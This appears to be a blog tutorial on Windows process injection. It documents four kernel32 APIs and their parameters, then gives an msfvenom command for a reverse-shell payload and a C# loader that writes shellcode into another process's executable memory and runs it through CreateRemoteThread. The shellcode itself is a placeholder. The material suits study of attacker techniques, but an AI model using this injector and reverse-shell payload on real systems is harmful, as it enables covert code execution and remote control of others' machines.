Process Injection

  • OpenProcess
  • VirtualAllocEX
  • WriteProcessMemory
  • CreateRemoteThread

OpenProcess

This opens a local process object and returns a handle for it, think the handle like we usually do when working with files

HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
);
  • dwDesiredAccess has a 32 bit un-signed interger value and it establishes the access rights, there are hex values we can use for the access , the acess which we can use for all rights on a process is PROCESS_ALL_ACCESS which can be represented in hex 0x001FFFFF
  • bInheritHandle it has a boolen value and determines if the returned process handle maybe inehrited by the child process
  • dwProcessID has a 32 bit un-signed interger value and holds the process ID to be opened

VirtualAllocEX

VirtualAllocEX is used to allocate memory in the address space of the process, it’s different from VirtualAlloc as it can allocate memory in any another process

LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
  • hProcess this is is the handler for the process we obtain from OpenProcess function
  • lpAddress is a pointer (desired address) for the memory location in the process
  • dwSize is the size of desired location in bytes
  • flAllocationType this specifies the type of memory allocation which can be MEM_COMMIT (0x00001000) , MEM_RESERV(0x00002000), MEM_RESET(0x00080000), and MEM_RESET_UNDO(0x1000000)
  • flProtect this specfices the memory protection which can be set with PAGE_EXECUTE(0x10), PAGE_EXECUTE_READ(0x20), PAGE_EXECUTE_READWRITE(0x40), PAGE_EXECUTE_WRITECOPY(0x80), more values can be found from the documentation https://docs.microsoft.com/en-us/windows/win32/Memory/memory-protection-constants

WriteProcess Memory

This functions writes data into the memory area of process, in simple terms copy data to the remote process

BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
  • hProcess this is the handler for the the process in which we'll pass the handler from OpenProcess function
  • lpBaseAddress this is the pointer to the address where the data is written
  • lpBuffer this is the pointer to the buffer which will contain the data to be written in the memory or address space of the process
  • nSize this indicates the number of byes to be written , the length of the buffer from lpbuffer
  • *lpNumberOfBytesWritten this is the pointer to location in memory that receives how many number of bytes were written or copied

CreateRemoteThread

This function creates remote process threads which runs in address space of another process

HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
  • hProcess this is the handler for the process same as in the other functions which will hold the handler for the process we'll have from the OpenProcess
  • lpThreadAttributes this is a pointer to security attributes which will determine security descriptor for the new thread, if the value of this is NULL then it's set to the deafult value which is 0 which the child process can't inherit https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85)
  • dwStackSize this specifices the allowed stack (initial) size in bytes, if this is set to 0, the default size for this is going to be used in the new thread
  • lpStartAddress this is a pointer to the starting address of the thread that is going to be executed which will be the address of our copied buffer
  • lpParameter this is a pointer to variable which will be passed to thread pointed by lpstartaddress but this can be left NULL if there are no parameters needed
  • dwCreationFlags this controls the creation of thread which can accepts 3 but we usually set the value to 0 for running thread immediately after creation the other values that can be set are CREATE_SUSPENDED(0x00000004), this requires the ResumeThread function to be called to execute the thread from suspended state and STACK_SIZE_PARAM_IS_A_RESERVATION(0x00010000)
  • lpThreadID this is a pointer to a variable that receives the thread identifier
msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=2222 -f csharp EXITFUNC=thread
using System;
using System.Runtime.InteropServices;
public class Program{ // importing kernel32.dll to declare external windows API functions [DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, uint processId);
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
public static void Main(string[] args) { IntPtr hProcess = OpenProcess(0x001F0FFF, false, 1092); IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); // shell code byte[] buf = new byte[shell code size] { shell code }; IntPtr outSize; WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize); IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); }}

References

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store